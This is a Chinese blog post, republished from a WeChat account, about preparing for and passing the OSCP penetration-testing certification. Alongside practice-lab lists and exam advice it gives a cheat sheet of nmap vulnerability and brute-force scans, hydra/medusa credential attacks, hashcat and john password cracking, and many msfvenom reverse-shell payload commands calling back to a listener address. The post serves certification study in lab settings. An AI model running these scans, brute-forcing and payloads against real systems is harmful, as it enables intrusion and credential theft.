Kali Linux渗透测试 OSCP证书 历程

2020/02/13 13:15
阅读数 5.6K

简介

当你看完这篇文章,及其这篇文章中的所有相关链接,你们就可以跟我一样一个月时间一次就通过了,并且当然前提我一直是渗透测试的从业者。

个人理解:

这是一个国际性的安全从业人员的专业技能认证证书,由 kali 官方组织颁布。
kali 是全球一年一度的拉斯维加斯黑帽子大会上发布过的公认的最权威最适合作为攻击渗透平台的黑客 linux 系统发行版本。而此证书就是他们的官方论坛组织发布的,官网戳这里https://www.offensive-security.com/

在新加坡与美国及日本等国,拥有证书后直接会被通知面试,进行第二轮面试,有些大集团的安全部门会特意指定招聘拥有这张证书的持有者来筛选简历。

证书一些官方情况大致介绍下吧:

OSCP认证,是一个专门针对Kali Linux渗透测试培训课程的专业认证。该认证机构声称,OSCP认证是一个区别于所有其它认证的考试,考试全程采取手动操作的方式,而不设笔试环节。

认证条件:

考试形式:OSCP的认证考试也是另类的存在,考生拥有24小时的时间(实际是23小时45分钟)去完成考试,具体如何分配时间由考生自己决定。题目是5台主机(随机抽取),目标是攻入并拿到最高权限(ROOT/SYSTEM)。基于难度级别,成功执行的攻击会获得相应的积分。24小时结束之后,你还有24小时去完成并提交考试报告(需要详细说明攻击步骤和里程碑截屏来证明确实攻破并获得相应权限)。

考试费用:$800美元(30天实验室访问+认证)当然也有更多时长的实验室访问套餐,详情如下,具体选哪个可根据自身情况自行选择:

下面是官方的价格表:

Course Packages Pricing (USD)
Penetration Testing with Kali + 30 days Lab access + OSCP Exam Certification Fee USD 800.00
Penetration Testing with Kali + 60 days Lab access + OSCP Exam Certification Fee USD 1000.00
Penetration Testing with Kali + 90 days Lab access + OSCP Exam Certification Fee USD 1,150.00
OSCP Certification Exam Retake Fee USD 150.00

前期:

考试之前准备了很多素材,这边大家可以移步另一篇文章,可能比较乱,因为是我没有注册报名之前尽力自己搜索到到所有一切我认为对我的考试会有帮助的资料。
这里:https://www.lshack.cn/656/这边简单总结一下一些王牌的备战练习靶机

Htb Practise Machines

  • Bastard 10.10.10.9

  • Cronos 10.10.10.13

  • Grandpa10.10.10.14

  • October 10.10.10.16

  • Calamity 10.10.10.27

  • Solidstate 10.10.10.51

  • Enterprise 10.10.10.61

  • Sense 10.10.10.60

  • Bart (Again, same issue but really get used to windows) 10.10.10.81

  • Frolic10.10.10.111

Vulnhub Machines And Website

  • Kioptrix: Level 1 (#1)

  • Kioptrix: Level 1.1 (#2)

  • Kioptrix: Level 1.2 (#3)

  • Kioptrix: Level 1.3 (#4)

  • FristiLeaks: 1.3

  • Stapler: 1

  • PwnLab: init

  • Kioptrix: 2014

  • Brainpan: 1

  • Mr-Robot: 1

  • HackLAB: Vulnix

  • VulnOS: 2

  • SickOs: 1.2

  • /dev/random: scream

  • pWnOS: 2.0

  • SkyTower: 1

  • IMF

中期

报名之后呢就开始了没日没夜的练习,但是由于实在是工作太忙,买了一个月的 lab,一个月只完成了 7-8 个靶机。快到一个月的时候我就预约报名了考试,用掉了报名中的那次包含的考试机会。
考试过程很刺激也很煎熬,因为欠缺经验,在很多需要细心观察与枚举信息的过程中做的非常不好,导致第一次考试失败。
那么我继续购买了一个月的 lab,这个月我还将上面我给大家列举的练习靶机练习了一些,掌握了靶机的一些基本套路与思路。
这边说一下,本人实战派,12 年网络安全经验,本该很有信心一次考过,但是发现考试毕竟是考试,与实战是有很大差别的,所以告诫大家实战派,我这边提供的资料与材料还是需要看一下练一下的,懒得看懒得练的人们,跳转到文末,直接告诉你诀窍。

一些实用命令

Port knock:

for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done


普通 nmap:

nmap -sS -Pn --open x.x.x.xnmap -sC -sS -A -O x.x.x.x


nmap 自己的王牌命令:

nmap -sS --osscan-guess -A -vv --script=vuln x.x.x.xnmap -sF -A --version-all -sC --osscan-guess -F -n -sV


利用 nmap 一句话进行目标 C 段常规漏洞扫描:

nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse x.x.x.0/24


利用 nmap 一句话进行目标 C 段弱口令爆破:

nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sql-brute.nse,rlogin-brute.nse,rsync-brute.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-brute.nse,oracle-brute.nse,rtsp-url-brute.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nse,xmpp-brute.nse x.x.x.0/24


nmap 扫 smb:

nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse x.x.x.x


smb 可利用的用户名和共享扫描:

nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse x.x.x.x


nmap 扫 ldap 匿名认证:

nmap -p389 --script ldap-search


gobuster 综合扫描:

gobuster -s 200,204,301,302,307,403 -u http://x.x.x.x -w /usr/share/wordlists/xxxx.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'


gobuster 通常扫描:

gobuster -u http://x.x.x.x -w /usr/share/wordlists/xxxx.txt -t 50 -x php,txt,zip,tar


rpcclient 空连接:

rpcclient -U "" x.x.x.x


smb 连接:

smbclient //MOUNT/share


rdesktop:

rdesktop -u username -p password -g 85% -r disk:share=/root/ x.x.x.x


python ftp-server:


1

2


pip install pyftpdlibpython-mpyftpdlib-p21-w

linux 结果答案截图:

hostname && whoami && cat proof.txt && /sbin/ifconfig


windows 结果答案截图:

hostname && whoami.exe && type proof.txt && ipconfig /all


sshuttle:github

sshuttle -vvr user@10.10.10.10 10.1.1.0/24


本地端口转发:

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>


远程端口转发:

ssh <gateway> -R <remote port to bind>:<local host>:<local port>


动态端口转发:

ssh -D <local proxy port> -p <remote port> <target>


plink 端口转发:

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>


John 爆破相关:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

unshadow passwd shadow&gt;unshadow.db

john unshadow.db

 

Hashcat SHA512$6$shadow file

hashcat-m1800-a0hash.txt rockyou.txt--username



 

Hashcat MD5$1$shadow fil

hashcat-m500-a0hash.txt rockyou.txt--username

 

Hashcat MD5 Apache webdav file

hashcat-m1600-a0hash.txt rockyou.txt

 

Hashcat SHA1

hashcat-m100-a0hash.txt rockyou.txt--force

 

Hashcat Wordpress

hashcat-m400-a0--remove hash.txt rockyou.txt

RDP 爆破:

ncrack -vv --user offsec -P passwords rdp://x.x.x.x

SSH 爆破:

hydra -l user -P pass.txt -t x.x.x.x ssh -s 22


FTP 爆破:

medusa -h x.x.x.x -u user -P passwords.txt -M ftp


MSF 生成 PAYLOAD:

PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php`

Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf

Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c

Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe

Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe

Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py

Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp

Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx

Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18

Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1

Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai

Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe

Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

BOF(Buffer Overflow)的一些命令:

payload = "\x41" + + "\x90" 16 + + "\x43" *

Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l

Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l -q xxxxxxx

nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax

Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

考试

注意注意!msf 在整个考试过程中只允许使用一次,任何你的回弹 shell 请使用 nc
考试为足足的 48 小时,两个整天。其实是 23 小时 45 分钟,15 分钟是调试设备与身份认证。
考官们会要求开通你的摄像头权限,让你将摄像头绕着你考试环境环顾一周。展示出带有可以证明你姓名的政府证件,护照驾照都可以。
当然,作为这个职业的一员,这 48 小时我是肯定不会睡觉的,足足利用了 48 小时,整个考试题目我前后做了三遍,因为:一遍完成,一遍检查,一遍写报告。
这次的实验室我没有练习满一个月就直接预约了考试,考试过程异常顺利,有一些地方仍然犯了之前一次的错误,不细心!导致卡住了很久,然后进行了突破,最终靶机 user 普通权限的 hash 拿到后也都进行了提权,所有的靶机都获得了满分!
但是报告过程中我有 2 个疏忽的地方,首先是四台靶机都有部分内容是漏洞的可利用详情与修复方法,我第一台靶机写完后复制到后面给三台靶机的报告使用,结果第四台靶机的这两部分我没有修改,仍然是写着第一台靶机的内容,这让我很慌张……还有一个问题是我最后一台靶机的普通权限用户获得到的答案 hash 我在考试面板中正确提交了,提权之后的 hash 我也正确提交了,但是报告我一路顺利地写到了直接获得了提权之后的用户 hash,遗漏了普通用户的权限获得 hash 的过程,我觉得这不是我的技术问题,所以内心祈祷考官酌情扣分。但是总体我心里还是很有底的,因为我靶机做到了 100 分,报告这两个疏忽的地方我不相信会扣我 35 分导致我不通过考试。

ps:整个考试报告,四台靶机和一个 bof 溢出题目我的报告写了总共 103 页,这是非常详细了,所以我对报告非常有信心。我是星期四考试结束,理论上官方需要 5 个工作日才公布成绩,以至于我周六周日的两天休息我没有打开邮箱去查看,但是我星期一查看的时候发现周日其实已经收到了邮件通知,告诉我考试通过并获得了认证!



名字其实也没有遮盖完全,有兴趣的朋友自己写 python 脚本抹去马赛克发现我的真名吧,哈哈。

报告

官方提供了标准的报告模版
下载下来之后照着内容进行填写你的内容与过程就行了

王牌技巧

到了最关键的时刻了
上面所说的,实战经验很久的工程师们你们的实战经验在第一步:信息搜集的过程中不需要特别的突出。
nmap 全端口扫描+dirb 或者 gobuster 使用(directory-list-2.3-medium.txt)字典。
这些做完之后如果还分析不出下一步的思路,那么对不起了,你不是智商不适合干这个就是一个特别粗心的人了。
我想说一些比较打官方脸的思路。
因为这个毕竟是考试,不太会有特别复杂的业务场景,所以靶机是一台一台之间互相对立的,那么你自己想象一下你搭建靶机的时候会怎么办呢?当然也是去搜索已知漏洞组合起来进行搭建,唯一能做的就是如何将入口进行隐藏,如何将环境进行变动而为了考验考试的人对于利用脚本的改造能力和对漏洞的理解能力。所以如果设置漏洞在特别的服务上,你通过 nmap 扫描版本信息就一定能够获知得很全面并且可以分析出很明确的思路。但是这就未免太简单了点,那么就设置一些 web 程序入口或者一些兔子洞,这可以通过 nmap 和 dirscan 的程序加载大字典进行枚举扫描可以得到很多信息来进行下一步。这个思路告诉我们,利用 nmap 与目录枚举之后获得到的信息量一定可以为我们之后的行动提供强大的保障,或许说这一次我考满分有一定的运气成分,但是如果按照我这个思路来做题的话,70 分通过考试是没有问题的。所以也希望 oscp 的考试题目在将来设置一些更加真实的考试场景与线索,不然我个人觉得太好应付了,因为我第二次考试与第一次考试唯一的差别就是深刻理解了做题做靶机的思路与实战思路的区别。其实前后考试在技术上并没有提升。
本文用语有些奇怪是因为我觉得这样子有很多外国朋友会很方便地使用谷歌翻译插件将中文翻译成英文不会有太大的误差产生。也因为之前我博客另一篇关于备考指南的文章我发现流量来源大量有 facebook 与推特的点击跳转,所以这份国际认证的心得资料我需要用这样的语句来表达。
通过认证之后邮件里会附加一个:
The easiest way to show off and allow others to verify your certification with us is to claim your certification badge with Acclaim Digital Badges. Please use this link to claim your badge and share it in social media, email and more! Claim your badge [3]. Once you reach the webpage, just choose “Update Certification Details” and follow the instructions to claim your badge. You will receive a separate email from Acclaim
这边你将获得一个线上的荣誉勋章,并且勋章社区可以将认证勋章以多种方式同步

关于未来

我将征战 OSWE
我将征战 OSCE
我将征战 OSEE
……等一系列我所即将知道的国际安全认证(非笔试,排斥一切笔试认证考试)


本文为原创文章,版权归lsh4ck's Blog所有

已授权

有兴趣了解更多的同学可以关注下作者公众号 

耙机狂魔


本文分享自微信公众号 - 黑白天(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
0 评论
0 收藏
0
分享
返回顶部
顶部